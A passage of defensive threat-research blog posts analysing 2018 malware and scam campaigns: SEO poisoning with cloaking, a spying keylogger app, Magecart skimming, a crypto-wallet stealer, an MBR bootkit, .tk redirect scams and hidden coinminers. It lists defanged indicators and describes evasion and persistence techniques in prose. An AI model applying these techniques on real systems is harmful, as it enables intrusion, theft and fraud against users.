    The attacker distinguishes between user view and crawler view by inspecting the user-agent HTTP header of the request. If the user-agent string belongs to a well-known web browser, then user view content is served.  

    1. Referer view: The SEO URL in this case will serve different content to the end user, depending on the URL set in the referer HTTP header.

    Without cloaking

    Without the use of cloaking, the content fetched by the search engine crawler “crawler view” as well as the direct user “direct view” will be identical. However, the SEO page will have scripts to detect whether it is an actual user loading the content in a web browser, in which case the user will be redirected to the final landing page containing the malicious content.

    Here is an example of an SEO campaign where cloaking is not being used:

    URL:  tucuerposiente[.]cl/forum/070sxjj.php?bbhb=excel-vba-cells-function

    The crawler view and direct view for this SEO URL returns identical content. The SEO page in this case will redirect to a final landing page based on the user’s action, such as mouse movement or rendering of the page in the web browser. The crawler will not see the landing page redirect, as there is usually no user interaction or browser rendering involved.

    Below is a view of what happens when a user browses an SEO-poisoned URL that is not leveraging cloaking techniques. The user will see a webpage as well as a busy icon on the browser tab indicating additional background activity. This activity is leading the user to the final landing page in the background as shown in this screen capture from Fiddler (a free web request debugging tool).

    Figure 5: An SEO poisoned URL without cloaking leads user to landing page

    The attacker is leveraging specially crafted CSS (Cascading Style Sheet) to perform a redirect from the user’s browser. In CSS, the URL property can be used to set the background. The figure below shows the typical usage of the URL property (taken from

    Figure 6: URL property

    But, if you don’t give any parameter to the URL property, like url() instead of url(“URL”),  it will load the parent page again. During the second loading, however, the referer HTTP header is set to the parent URL itself. This is the reason there are two requests to the same URL in Fiddler. It is important to note that the malicious content will be served on the second request, in which the referer HTTP header is set to the expected URL.

    The figure below shows the CSS code snippet used in the SEO page. The line “background-image: url()” will cause the page to reload.

    Figure 7: CSS code snippet in the SEO page

    The second request will load the malicious code, as shown in the image below.

    Figure 8: Malicious code

    SEO URL generation

    Let’s take a look at a typical SEO URL structure seen in SEO poisoning campaigns:

    SEO URL:  sbtechsiteleri[.]com/docs/bmfns7.php?gneo=access-vba-form-load

    We can divide this URL into several parts:

    1. Host:                           www.sbtechsiteleri[.]com
    2. URI path:                    docs
    3. PHP page file: bmfns7.php
    4. Parameter:                 gneo
    5. Search keywords:      access-vba-form-load

    The campaign uses different parameters to generate URLs. We have found hundreds of unique parameters; jtjd and wanh are two examples of parameters shown in the screenshot below.

    From the search result in the screenshot, we can reasonably guess there are hundreds of millions of SEO URLs generated for these two parameters.

     Figure 9: URLs generated 

    SEO web page generation

    Although we don’t have access to the backend code used to generate the SEO webpages, we can draw some insights into the generation process based on our analysis of several pages involved in this activity:

    1. Pick up the keywords from the “search keywords”; search in search engine
    2. Collect the responses that contain the keywords 
    3. Generate a final response containing specific strings from the collected responses

    The Google cache of the webpage www.sbtechsiteleri[.]com/docs/bmfns7.php?gneo=access-vba-form-load

    Figure 10: Example of Google cache 

    The first sentence, “I am fairly new to Access,” can be found in several URLs. The second sentence, “Programming Microsoft Access with VBA can be a lot easier if you know the keyboard shortcuts for the most common commands and tasks and the” is from this site:

    Figure 11: Example of site found 

    Following that sentence, you can see, “If you want to set the RecordSource of another form, you must ensure the other form is open first,” which is from this website:

    Figure 12: Example of sentence found at site

    All three of the above examples are for the keyword “access.”


    SEO URLs redirect users to different targets. We saw two modes of operation in the pages that we analyzed:


    1. The users go through a series of redirects to reach the final landing page.
    2. The users are redirected to a MaaS (Malware-as-a-Service) platform which starts another redirection chain leading to final landing page.


    Here are the top web categories to which the final landing page sites belonged:

    1. Adult and pornographic websites

    2. Internet services sites; in this case, the SEO campaign's purpose is advertising

    3. Politics and religion, an example of which is shown below

    4. Exploit servers leading to adware/malware payloads

    On an average, we see over 3,000 new and unique SEO poisoned URLs every day. ThreatLabZ is actively tracking this threat and will continue to ensure coverage for Zscaler customers.

    Indicators of Compromise

    The  list of the redirectors used by this campaign and some IOCs for PHP files and ZIP files can be found here. If you find these PHP or ZIP files in your website, it is likely that your website has been compromised.

    Wed, 10/17/2018 - 07:57 Blogs
    Why you shouldn&#039;t trust &quot;safe&quot; spying apps!

    During a recent malware hunt, the ZscalerTM ThreatLabZ research team came across a suspicious Android app on Google Play, the official Google app store, named SPYMIE. SPYMIE portrays itself as an Android-based key logger designed for parents to track the cell phone activities of their children. Given the popularity of such apps, it has become common practice for app creators to promote spying capabilities as parental control features. However, SPYMIE packs a little something extra with the parental controls. 

    Basically, SPYMIE is an Android-based keylogger that has ability to hide itself and start recording everything the user tries to access. Ideally, keystroke logging is best achieved with keyboard-based apps, but this app uses Android's Accessibility Services to perform its functions. The app author also has included their email address in the code of the app, which allows them to receive all the information that the app is collecting, making those using the app vulnerable to having their personal information stolen. 

    Before the app was removed from Google Play, its description was as follows: “SPYMIE: Key logger is specially designed for parents to track the cell phones of your children. It will also help you when someone friends ask you for your phone for ten minutes but you don’t trust on it. So what you have to do you only have to on the SPYMIE: Key Logger. So whenever the friends return phone to you, you can check all the activities done by your friend. It records all the activities that are done on your phone. All activates are send to your mobile phone via email. 

    "For parents what they have to do, you just install the app in your children phone. Hide the icon. Later on you have check all the activities done by your children in the whole day."

    Zscaler notified Google about the presence of this app and it was immediately removed from Google Play.


    App Details

    Name : SPYMIE: Key Logger Package Name : com.ant.spymie.keylogger Hash : 8e32ce220e39ba392c9e15671a32854b Size : 5.5M Installs : 10,000+


    Technical Details  

    As soon as the app is installed, it splashes basic setup activities asking the user for email ID, as shown in screenshot below. 


    Fig. 1: SPYMIE initial activities


    Once the introduction is complete, the app asks for runtime permission for managing outgoing calls. The reason for asking this permission is related to the app's hiding functionality. As shown in screenshot below, if the user enables the hiding feature, the app then asks for a secret PIN to open the app. The user can then open the app by firing up the phone dialer and entering the PIN. This is the main reason for asking permission related to phone calls.


    Fig. 2: Hiding functionality 


    After further analysis, we found that the app contains a default PIN as well. Dialing **00## would open this keylogger app. The screenshot below shows the code snippet for this functionality. 


    Fig. 3: Default hard-coded PIN


    Once the basic setup is done, one can turn on the spying feature. For enabling spying on a user's activities, this app uses Accessibility ServicesThis feature was designed to assist users with disabilities in using Android devices and apps. The below screenshot displays functionality in action:   

    Fig. 4: Enabling Accessibility Services


    Once Accessibility Services is enabled, the app starts logging every activity performed by the user/victim. The snapshot below shows the code responsible for logging user actions along with keystrokes and storing it in a file named SpyLogger.xml. 


    Fig. 5: Storing user/victim's activities 


    In order to see the functionality in action, we tried running the app in a controlled environment. At first, we opened Gmail and tried composing a sample email. As shown in the screenshot below, almost every activity, from opening the Gmail app (left side) to composing the body of the email, was logged (right side). 


    Fig. 6: Gmail logging


      In another test, we fired up Paytm and tried logging in. The right side of the screenshot below shows how every action was logged. 


    Fig. 7: Paytm login


    The above screenshots display the logs visible in Android's logcat command, but behind the scenes, all this data is being written in a file named SpyLogger.xml.   Looking from another perspective, the app has a serious vulnerability which, according to OWASP, can be categorized into Insecure Data StorageAny random app with READ_LOGS permission can read logs presented by Android. In this scenario, all sensitive data is being written to log entries and every piece of sensitive data is at risk.  Additionally, this keylogger app can send logged/stolen data to the email ID input by the user during setup, but we found a code snippet that was designed to send this data to another hard-coded email ID as well. The screenshot below shows both the code snippets. The first one is the ideal scenario, in which email is sent to the provided email ID, and the second box shows the app's functionality, in which a timer task is run to send email to the hard-coded email ID every 60 seconds. 


    Fig. 8: Sending stolen data to different email IDs


    During our analysis, we did not find any calls made to the second code snippet, where email is sent to the hard-coded email ID, and we believe there are two possible explanations. It is possible that the app's author added this functionality while testing and forgot to remove the dead code. This seems unlikely, because the code snippet to send email to the hard-coded email ID is well designed and placed as a timer task to send email every 60 seconds. The second possibility could be related to the app being "under-construction." This app might still be in development and any calls related to this function may be added in future updates. 


    We believe there are two likely scenarios in which key logging apps, like SPYMIE, may be used.

    1. Parents installing spying apps on their children's devices     - Parents can install such apps in order to track their children's online activities 2. Users willingly install such an app to steal someone else's data.     - Any user can install such apps on their Android devices and might offer their phone to others for use. When a victim enters his/her personal details, it will be logged. User can view this information at a later time.

    It is always advisable to stay away from spying apps, because a typical user can never be sure of what exactly is happening under the hood. Be cautious if using mobile devices other than your own. Never perform critical actions or enter personal information on borrowed or unknown devices. Zscaler users are safe from such type of threats. ZscalerTM Sandbox detected the app accurately as shown in screenshot below: 

    Fig. 9: Zscaler Cloud Sandbox detection


    Wed, 10/03/2018 - 11:28 Blogs
    Magecart campaign remains active

    The Zscaler ThreatLabZ team has been tracking the Magecart campaign for several months. Magecart is a notorious hacker group that has been responsible for large attacks on the e-commerce sites of well-known brands, and we have continued to see its activity during this past month. In this blog, we will examine this campaign’s recent activity and its methods for skimming credit and debit card information for financial gain.

    The e-commerce sites targeted by Magecart are being compromised and injected with malicious, obfuscated JavaScript, which, in turn, tries to tap into purchase transactions. Injected script typically adds a form to the payment page at runtime using Document Object Model (DOM) properties. This form captures information such as the site’s domain, credit card details, and the user’s personal information, and then makes a POST request, sending all stolen information to remote site.

    Magecart compromise sample

    As shown in the screenshot below, the attacker compromises the site and injects a script tag in order to dynamically load a highly obfuscated JavaScript code hosted remotely.

    Figure 1: Magecart compromised site

    The obfuscated JavaScript code as well as the deobfuscated version of the same can be seen below. This is a common technique leveraged by the attackers to evade detection by security crawlers.

    Figure 2: Injected JavaScript code for stealing information

    As shown in the image below, this script tries to steal financial and personal information from the form input elements of the target site, and sends the collected information back to the attacker-controlled site.

    Figure 3: POST request with stolen information

    The domain used by the attacker to host malicious scripts and receive stolen information was registered in early September 2018. This newly registered domain is part of a trend we are seeing that minimizes the attacker's chances of getting blocked based on reputation engines, as the site is too new to have a low rating. Fun fact: the attacker also listed this domain for sale.

    Figure 4: Attacker’s domain registration

    Below are hits we have seen from MageCart campaign in past month.


     Figure 5: Campaign activity in past month

    Although this campaign is not new, we continue to see newer domains being leveraged and additional e-commerce sites being impacted on a regular basis.

    Scripts used in the new and previous campaigns are similar; both domains are hosted on AS24936 Moscow, and may involve the same actor.

    Here is a comparison of the deobfuscated JavaScript.

    Figure 6: Deobfuscated JavaScript

    Sites compromised by Magecart can easily be searched from publicly available data (PublicWWW and

     Figure 7: Sites infected with Magecart

    Although magentacore[.]net is not responding at the moment, infected domains/URLs can be searched on PublicWWW.

    Compromised sites seen recently by ThreatLabZ can be found here.









    Attackers are increasingly creative in their methods for generating income, whether through cryptomining, fake tech support scams, or, as in the case of Magecart campaigns, skimming for credit and debit card information. Magecart has been responsible for large-scale attacks on well-known brands, and the ThreatLabZ team will continue to monitor its activities to ensure coverage for Zscaler customers.

    Fri, 09/28/2018 - 12:42 Compromise,Malware Blogs
    The latest cloud hosting service to serve malware

    In recent years, there have been many studies related to compromised cloud hosting services.

    It has been reported that these services are increasingly being abused by hackers and malware authors for their malicious online activities. The services enable bad actors to open an inexpensive hosting account, allowing them to hide malicious content in the cloud-based domains of well-known brands, mixing the bad content among the good to prevent the malware from being blacklisted.

    In its research, the Zscaler ThreatLabZ team discovered that a popular managed cloud hosting service provider called “Cogeco Peer 1” has been serving phishing attacks and other malware in the wild as far back as February 2018. One of the domains hosted by this service provider, called “flexsel[.]ca,” is distributing a malicious document that installs a crypto-wallet stealer on victims’ machines. Other Cogeco Peer 1 domains are serving various phishing attacks using fake logins for Microsoft, DocuSign, and banking sites. 

    The below image of hosting IP [64[.]34[.]67[.]205] information shows some of the domains affected by this campaign.

    Figure 1: Domains affected by the campaign

    The Whois information related to the hosting IP address is as follows:

    Figure 2: Whois information on hosting IP address

    In this blog, we will provide a technical analysis of two types of attacks served by this campaign in August 2018.

    1. Multi crypto-wallet stealer payload delivered through malicious document

    2. Microsoft and DocuSign phishing attack

    Multi crypto-wallet stealer payload delivered through malicious document:

    The crypto-wallet stealers are not new to the information security industry, but we have seen a dramatic increase in their use recently. We found that the domain “http[:]//flexsell[.]ca/,” which is hosted on 64[.]34[.]67[.]205, distributed a malicious document to users during the second week of August 2018. This malicious document downloads and installs a payload with the ability to steal stored crypto-wallets from user machines.

    Download link: flexsel[.]ca/myresume/resume_ahmadhammouz[.]doc

    Zscaler spotted and blocked this threat over the past two weeks, as shown below:

    Figure 3: Unique instances of the malicious document and the final payload downloads as seen by Zscaler

    Technical details:

    The document, called “resume_ahmadhammouz[.]doc,” has a malicious macro which is executed when the document is opened. It further downloads and executes a crypto-wallet stealer payload on the victim’s machine. This payload tries to steal stored cryptocurrency wallet information, targeting Bitcoin, Electrum, and Monero cryptocurrency wallets.

    The obfuscated malicious VB code in the document file is shown below. It initiates an HTTP request to the hardcoded download path of the wallet stealer binary without user intervention.

    Figure 4: Obfuscated malicious VB code in the document file

    The below Wireshark image shows the payload download on the victim’s machine. 

    Figure 5: Wireshark screen capture showing download of malicious payload

    This malware variant is custom packed. It decrypts and loads an actual wallet stealer file (Borland Delphi compiled) on runtime. Upon execution, the malware collects basic system information, including machine ID, EXE_PATH, Windows, computer (username), screen, layouts, local time, and CPU model. The collected information is sent to a C&C server, which is hardcoded in the file as shown below.

    Figure 6: Calls to C&C server

    The encrypted POST communication to the C&C server is shown below.


    Figure 7: Post-infection communication to the C&C server

    The wallet stealer malware searches for the default location of the digital wallet stored on the infected machine, along with browser cookies and login details of popular applications like Pidgin, WinSCP, and Psi+. The following digital wallet files are hunted on a victim’s machine.

    Figure 8: Digital wallet files types searched for by malware

    The information stored in digital wallet data files includes:

    • mbhd.yaml – Contains general preferences and configuration information (theme, exchange, etc.)
    • mbhd.checkpoints – A Bitcoin checkpoints file, used when syncing your wallet
    • mbhd.spvchain – A Bitcoin block store, used when syncing your wallet

    Microsoft and DocuSign Phishing attack:

    After exploit kits, phishing is the one of the most significant threats to individuals and organizations today. The dynamic nature of the domains that serve phishing pages, along with the easy hosting features provided by cloud services, magnifies these types of internet attacks.

    The Microsoft and DocuSign phishing pages seen in the wild on August 29, 2018, are shown below.

    Figure 9: Microsoft and DocuSign phishing pages seen on August 29

    The fake Microsoft phishing page image is shown below.

    Figure 10: Fake Microsoft phishing page

    The DocuSign phishing attack is a tactic used to persuade computer users to enter their account credentials on a fake DocuSign login page. These stolen credentials are used by the attacker to carry out various malicious activities; as a result, the victim’s machine can be infected by other malware.

    The following image shows the fake DocuSign login page:

    Figure 11: Fake DocuSign login page


    This report covers just one of the active and compromised cloud repositories and the illicit online activities built around it, though these types of attacks have become increasingly common. As individuals and organizations gravitate towards cloud computing, attackers are motivated to host malicious content in the cloud. It is extremely important for cloud hosting service providers to be vigilant in identifying and mitigating attacks on their repositories.

    Zscaler ThreatLabZ is monitoring such threats and will continue to ensure coverage for Zscaler customers. The Zscaler Cloud Sandbox report for a sample payload from this campaign is shown below.

    Figure 12: Zscaler Cloud Sandbox report on blocked malicious document in the crypto-wallet stealer campaign



































    Wed, 09/19/2018 - 09:39 Blogs
    DarkCloud Bootkit

    In an earlier blog about crypto-malware, we described different techniques used by cybercriminals, such as cryptomining and wallet stealing. In this blog, we will provide a technical analysis of yet another type of cryptominer malware using a bootkit and other kernel-level shellcode for persistence.


    The installer is responsible for infecting a system’s master boot record (MBR), which identifies how and where the operating system is located. It opens the boot drive (figure 1) and reads the first 0x400 bytes, which is MBR data.

    Figure 1: Opens boot drive

    It checks for GUID Partition Table (GPT) partition flag and doesn’t infect GPT disks (see figure 2).

    Figure 2: Checking GPT Disk

    It moves the clean MBR code from sector 0 to sector 1 (figure 3) and inserts malware code in sector 0 (figure 4). Malicious code is written from sector 2-53.

    Figure 3: Clean MBR code

    Figure 4: Infected MBR code

    Analysis for malicious MBR

    Malicious MBR code hooks 15h interrupt (figure 5). It specifically hooks for service 0xE820 of interrupt (int) 15h (figure 6). This service is used to query system memory.

    Figure 5: Interrupt 15h hooking

    Figure 6: Service 0xE820

    After hooking, it loads the original MBR code to resume the booting process. During execution, when bootloader calls int 15h, malware code receives the control and verifies the AddressRangeDescriptor Type, BaseAddrLow, BaseAddrHigh, and LengthLow. After verification, it modifies the LengthLow value to hide the malicious MBR code (figure 7).

    Figure 7: Hiding malware code

    Loading in kernel

    The malware uses different methods, depending on the Windows version, for loading into the kernel. Figure 8 lists the different ways for XP and 7 versions of Windows.

    Figure 8: Flow of execution

    In Windows XP, it patches code in BlLoadDeviceDriver function in osloader.exe. It also patches code in BlLoadDeviceDriver after it calls to function BlLoadImageEx. The BlLoadImageEx function maps all device drivers in memory. Ntoskrnl.exe will load and execute these drivers (IopInitializeBootDrivers->IopInitializeBuiltinDriver) (figure 9).

    Figure 9: Comparison of patched and unpatched code of BlLoadDeviceDriver function

    When osloader.exe tries to load the ftdisk.sys driver, it injects malicious shell code in the resource section and a modified entry point to malicious shellcode.

    Figure 10: Searching for resource section and comparing section size for shellcode

    Figure 11: Malware shellcode in the ftdisk.sys resource section

    In Windows 7, the malware searches the address of the OslArchTransferToKernel function from OslpMain (entry point) in winload.exe. OslArchTransferToKernel transfers control to NTOSKRNL.EXE. The malware patches this function (figure 12) to get the loading address of NTOSKRNL.EXE.

    Figure 12: Patched OslArchTransferToKernel function code

    After getting control to NTOSKRNL.EXE, the malware patches ZwCreateSection API (figure 13).

    Figure 13: Patched ZwCreateSection API

    Analysis of kernel shellcode1:

    This shellcode is responsible for hiding the malicious MBR code and preventing AV products from loading. Shellcode first retrieves the base address of ntoskrnl.exe and gets the address of different APIs. An undocumented field (at offset 0x14) of DRIVE_OBJECT is used to retrieve the  MODULE_ENTRY pointer and enumerated to get base address of ntoskrnl.exe (see figure14).

    Figure 14: Searching for base address of ntoskrnl.exe

    API names are stored as 32-bit hash values in the code. The ROR13 calculation method is used to generate hash values for each API name (figure 15).

    Figure 15: API hash calculation

    AntiAV techniques

    To stop AV systems from loading, the malware creates notification objects similar to the device names used in 360 AV product device drivers.

    Figure 16: Holding AV-related device names

    Hiding Malicious MBR code

    Different low-level drivers are patched to hide malicious MBR code. In Windows XP, the IdePortStartIo function of atapi.sys is hooked (figure 17).

    Figure 17: Hooking IdePortStartIo function of atapi.sys

    The hooking function specifically looks for read and write requests (figure 18). If there is a read request for sector 0-61, it hooks CompletionRoutine of IRP sent to atapiDeviceObject and serves a clean MBR code.

    Figure 18: Checking SCSI command descriptor block (CDB) for read and write request

    If there is a write request for sector 0-61, the malware modifies the operation code in command descriptor block (CDB) and SrbFlags flags of SCSI_REQUEST_BLOCK object. The operation code is changed to 0x28 (SCSIOP_READ) and the SrbFlags are set to SRB_FLAGS_DATA_IN which indicates that it is a read operation. So, the write request is simply converted to a read request and passed to the driver. Figure 19 shows the execution flow of the MBR hiding function.

    Figure 19: IdePortStartIo hook function execution flow

    Analysis of kernel shellcode 2:

    This shellcode executes as a system thread but terminates itself if the system is booting in safe mode. It searches for the explorer.exe process and injects usermode shellcode (referred as ushellcode1 afterword). Ushellcode1 is compressed using LZ compression with COMPRESSION_ENGINE_MAXIMUM flag (figure 20).

    Figure 20: First usermode shellcode

    Ushellcode1 is injected in explorer.exe with thread data, which is shared memory between the kernel mode thread and ushellcode1 thread, as shown in figure 21. The remote APC thread technique, KeInitializeApc, and KeInsertQueueApc kernel APIs are used to achieve this. It also executes downloaded kernel shellcode by the ushellcode1.

    Figure 21: Thread data

    In the second step, it searches for processes related to different security software solutions (table 1) and terminates the process.

    Process Names












































    Analysis of ushellcode1

    This shellcode downloads another shellcode and a config file. The config file is encrypted (using simple XOR) and saved in C:\Windows\Temp\ntuser.dat file.

    Figure 22: Downloading config file

    The config file contains different URL addresses, used to download further shellcodes and config files. Content of the config file is shown in figure 23. For the IPs mentioned under the main section, it appends the “TestMsg.tmp” string at the end URL to generate a full URL, which serves as shellcode. Similarly, for all the URLs mentioned under section [update] as seen below, it appends string “address.txt” so these URLs are used to download the updated config file.

    Figure 23: Config file content

    The downloaded shellcode continues to download the final payload using information from the new config file (figure 24). The payload is saved in the %SYSTEMROOT%\\TEMP folder with the name conhost.exe (figure 25) and executed with the “-C create -r” parameter.

    Figure 24: new config file contents

    Figure 25: Download of final payload

    Analysis of payload

    This payload works as a downloader. During our analysis, we found it downloading a cryptomining tool. It registers itself as a Windows service with name “Windows Audio Control.” It supports different command line options (figure 26), including the main ones: Create, delete, start, and stop services.

    Figure 26: Different command line options.

    Upon executing without any command, it first downloads xpxmr.dat file that contains a list of C&C IP addresses and URLs. This config file is saved in the C:\Program Files\Common Files folder. It also downloads the below config files:

    File Name



    Contains new version of the malware payload; if it does not match the current version, a new version will be downloaded


    Receives the URL for downloading additional malware payloads


    This file contains the name of processes to terminate and file paths to delete


    Zscaler Coverage

    Zscaler detects this threat via following signatures:




    Cloud Sandbox Report showing the detonation activity for this malware can be seen below:



    Thu, 09/13/2018 - 11:05 Blogs
    Spam campaigns leveraging .tk domains

    For the last couple quarters, the Zscaler ThreatLabZ research team has been closely monitoring services that provide free domain names. We’ve identified a campaign utilizing '.tk'  TLD (top level domain) domains that starts with compromised sites as the initial vector to redirect users to either fake blog sites to generate ad revenue or fake tech support sites that claim to remove viruses.

    Based on our analysis of this campaign data till now, we are estimating at least 20K+ USD per month in revenue being generated from Ad Fraud activities alone. In this blog, we will share our analysis of this campaign.

    During July, we saw activity from many compromised sites, as shown in the graph below.

    Fig 1: DotTk campaign hits of July 2018

    Some of the compromised sites have plain-text injected redirection code, as shown in the below image.

    Fig 2: Sites showing plain-text injected redirection code

    Many sites have packed and obfuscated injected redirection code, as shown in below image.

    Fig 3: Obfuscated injected redirection code

    After decoding, the script appears as follows:

    Fig 4: Deobfuscated injected redirection code

    The redirection code shown in the above image redirects to the .tk campaign.

    Fig 5: Redirection to .tk campaign

    The third technique used in compromised sites for hiding injected code is shown in the below image.

    Fig 6: Hiding injected redirection code

    The encrypted script in the above image is shown, decrypted, below: 

    Fig 7: Decrypted redirection code

    In this case, it is not redirecting for every hit; instead, redirection takes place when a random number 3 appears, and the redirected site again redirects to the .tk domains.

    We have found 3,804 unique .tk domains since May 2018, which are included in this campaign.

    You can find the .tk campaign URLs here.

    Fake blogger site redirections:

    In this case, the .tk campaign URL redirects to a fake blogging site for the sole purpose of showing ads:

    vertdfgsderawee[.]tk/index/?2101505838590 redirects to frenkulok[.]info/latest

    Fig 8: Fake blogging site redirect

    The redirection URL at vertdfgsderawee[.]tk/index/?2101505838590 changes each time, so the redirect shown here, frenkulok[.]info/latest, will be different on another visit.

    This URL redirects to the "latest" blogging content, as shown in the below image.

    Fig 8: The "latest" blogging site redirect

    The .tk campaign redirects to one of the below 72 fake blogging content sites.

    ad60[.]org arbuz01[.]org ava4[.]org backham[.]org barsiksuperkot[.]org borisska[.]bid braceletstartop[.]org broochstartop[.]org city-guides[.]org clombika[.]org costumestartop[.]org crispyom[.]org din9[.]org doesok[.]top domainopp[.]org donperinion[.]org dreamlol[.]org earringstartop[.]org emily2[.]org eniki-beniki[.]info erkan-ok[.]org facekolk[.]org fenixscool[.]info fitnessgolging[.]org fix-mix-news[.]info fokus-mokus[.]org fped8[.]org frenkulok[.]info fricsianlope[.]org gagarintp[.]org gates0017[.]org gemstartop[.]org glassstartop[.]org goldstartop[.]org haruny[.]org isla5[.]org jacksoning[.]org jessica1[.]org kentpppr[.]org kinogo-de[.]org kinogo-fr[.]org kinogo-gr[.]org kinogo-it[.]org kinogo-jp[.]org kinogo-oo[.]org knickknackstartop[.]org krokodil22[.]org l-l-l-l-l-l[.]info lapuh2[.]org lemon4ikp[.]org lily3[.]org limeemil[.]org mandarin5[.]org medheltping[.]org myshoptrade[.]info oguzhanoss[.]org online-news-school[.]info perecappr[.]org picturesun[.]top pirozok3[.]org rakamakao[.]org ramazano[.]org rikitik1[.]org rikitiki[.]org rock19[.]org shahterworld[.]org spaceofcelebs[.]com ugips[.]ru unique-news-week[.]info wagnerok[.]org websun[.]top yunus1[.]org

    The IP address associated to all these websites is the same - 162.244.35[.]55

    The website traffic and Alexa rank of these sites are increasing daily.

    Fig 9: Website traffic and Alexa rank of fake blogging sites

    The daily and monthly revenue estimates of one of the sites is shown below.

    Fig 10: Estimated monthly ad revenues from one fake blogging site

    If we consider that the average monthly advertising revenue from one website is $300, we can extrapolate that for 72 domains, the monthly revenue could be as high as $21,600.

    Fake tech support redirection:

    In this case, the .tk campaign URL redirects to a fake tech support website and displays fake alert messages that ask users to call a given number for technical assistance.


    Fig 10: Fake tech support website redirect

    Redirected tech support scam site:

    Fig 11: Redirected tech support scam site

    Below are the tech support scam URLs that are appearing after redirection from the .tk campaign.

    wizenedrusty[.]tk/?number=877-506-7276 tuhorougahely[.]tk/?number=877-556-6929 strangeizened[.]tk/?number=877-506-7276 savoirplaisir[.]tk/?number=877-506-7276 rosetwo[.]tk/?number=855-257-7118 regarderlieu[.]tk/?number=877-506-7276 reachedforthe[.]tk/?number=855-257-7118 nothershred[.]tk/?number=866-686-7506 minuteslooking[.]tk/?number=888-563-5301 mightbesupposed[.]tk/?number=888-489-1903 loperyha[.]tk/?number=08-7150-1727 inhisexcitement[.]tk/?number=08-7150-1727 hrteasdopla[.]tk/?number=888-384-6729 howevedirect[.]tk/?number=888-754-9063 hewasawakened[.]tk/?number=888-384-6729 guest-through[.]tk/?number=877-506-7276 fixturtherefore[.]tk/?number=0808-189-4372 courtfinir[.]tk/?number=844-619-6687 cleanough[.]tk/?number=888-754-9059 certahintykif[.]tk/?number=888-384-6729 businescallme[.]tk/?number=0800-060-8933 beundisturbedbut[.]tk/?number=877-406-6169 alreadygoneaway[.]tk/?number=877-556-6929


    The scam campaign involving .tk domains has been active since at least May 2018. Over the last three months, this campaign has largely been redirecting users to fake blogger sites and tech support scam sites, but it's reasonable to assume that in the future, the campaign may start redirecting to phishing sites, exploit kit gates, or any malicious site that can generate revenue in one way or another. 


    Fri, 08/31/2018 - 08:59 Advertising,Analysis,Compromise,Scam Blogs
    Anti-Coinminer Mining Campaign

    Coinminer malware has been on the rise for some time. As more and more users become aware of this threat and try to take measures to protect themselves, cybercriminals are attempting to cash on that fear by serving crypto-miner malware from a website claiming to offer a coinminer blocker. Although the website looks unprofessional and would appear suspicious to most, there are plenty of non-tech savvy users who may fall for it.

    Figure 1. Source website

    We have observed two variants of this malware strain being served from the above mentioned website as well as coin-blocker[.]com. In both cases malware operator is using malicious miner code written by another author for his financial gains and in the process also getting duped himself/herself.


    CryptoMiner Variant #1

    MD5s: 927adcebfa52b3551bdd008b42033a6e and c777e949686f49cc0a03d0d374c5e68a

    The first malware variant was getting downloaded with file names like 'cr_blocker_v12.exe', 'apollo.exe' and was making extensive use of batch files. First it will drop and execute a batch file , which in turn, runs a PowerShell command (a slightly modified version of the PowerShell script from http://moneroocean[.]stream) to download and execute a batch script (again a copy of moneroocean's xmrig_setup.bat) from same website.  The purpose of final batch script is to download, setup and run monero miner on infected system.


    Figure 2. Execution flow and Batch file executed by malware

    The above script is sourced from a script that is published on MoneroOcean's GitHub account with two minor modifications. The malware author has modified the DownloadFile URL to point to a copy of official miner batch file that is hosted on the malware author's site. The second and obvious modification is the wallet address change, where the attacker is collecting the revenue from this fradulent mining campaign. This address has not earned much yet (as of August 16, 2018, just 1.298239 XMR has been paid), but this campaign is just getting started, so it is early to draw any conclusions.


    CryptoMiner Variant #2

    MD5s: d3fa184981b21e46f81da37f7c2cf41e

    The second malware variant was seen being downloaded with filename start_me_now.exe which will further download another file named start_me.exe from same domain and executes that file. The downloaded file is an SFX archive containing multiple files, including both xmr-stak and xmrig miner with same configuration.

    Image: Cryptominer SFX variant execution flow diagram

    The malware operator has used a version of Playerz Multi Hidden Cryptocurrency Miner from multicryptominer[.]com with the addition of silent.exe containing an embedded copy of xmrig miner. Silent.exe will run xmrig miner by injecting it into a process such as notepad.exe.

    Figure 3. SFX Script from start_me.exe

    Batch files are just one-line scripts in this case as seen below; run.bat will run c:\ProgramData\playersclub\player.exe and share.bat will open xmrminingpro[.]com/share.html in an attempt to convince the user to share this website on social media sites - Twitter, Facebook and Google Plus - resulting in further infections.

    Figure 4. Batch files

    Setup.exe and all other files which are part of this SFX archive belong to Playerz Multi Hidden Cryptocurrency Miner, whose details follow.


    Playerz Multi Hidden Cryptocurrency Miner


    It will first run setup.exe, which will copy the folder “pcdata” and its files to C:\programdata\playersclub and run installer.exe.

    Figure 5. Autohotkey script from setup.exe



    It will register and run xmr-stak as a service using launchserv.exe, allowing it to run with higher privileges, and also create C:\programdata\playersclub\player.txt by taking configuration data from playerconfig.txt:

    Figure 6. Autohotkey script from installer.exe

    Launchserv.exe will use following configuration to register service:

    Figure 7. LaunchServ.ini file



    systemSpawn.exe is registered as a service with the purpose of ensuring player.exe exists in the C:\programdata\playersclub\ folder and, if not download and run it with escalated privileges using PaExec.exe (similar tool to Microsoft's PsExec) from poweradmin[.]com/paexec/.

    Figure 8. Autohotkey script from systemSpawn.exe

    It will run player.exe using the following switches to gain escalated privileges: -s (run the process in the system account), -x (display the UI on the Winlogon secure desktop), -d (don't wait for process to terminate [non-interactive]), -i (run the program so that it interacts with the desktop of the specified session on the specified system. If no session is specified, the process runs in the console session).



    Player.exe is the main process responsible for managing the xmr-stak.exe process. It will do all of the things mentioned by the malware author on its website, such as: run when the computer is idle; check if video or audio is being played; automatically download and, if needed, update miner software; kill processes mentioned in all ProcessesList.txt, and more.

    Ironically, the Playerz Multi Hidden Cryptocurrency Miner author has provided a wallet address for donations to help fund the development of this malware.

    Figure 9. Donation address mentioned on the website

    But that was not enough, the author also added a backdoor functionality to mine cryptocurrency for his own address in the mutlicryptominer binary. It will check the modified timestamp of player.txt, and if that file is more than five days old, it will get latest config from multicryptominer[.]com/pool2.xml.

    Figure 10. Downloading latest configuration from C&C

    It will parse the received data as seen below:

    Figure 11. Parsing configuration from C&C

    Response from the C&C server:

    Figure 11. Configuration received from server

    It will then calculate time for running the original author's and the second level malware operator's miner on the infected system:

    Figure 12. Calculation time distribution for author's and customer's address mining

    In case the server did not respond with the proper configuration, or player.txt is not more than five days old, it will run the second level malware operator's miner for 105 minutes and author’s for 15 minutes; otherwise, it will distribute time among mining addresses depending on a value received from the server. At the time of analysis, the server was sending the maximum possible value of nine, which means it is splitting mining time between author and customer in a 3-to-1 ratio (90 minutes for author and 30 minutes for customer).

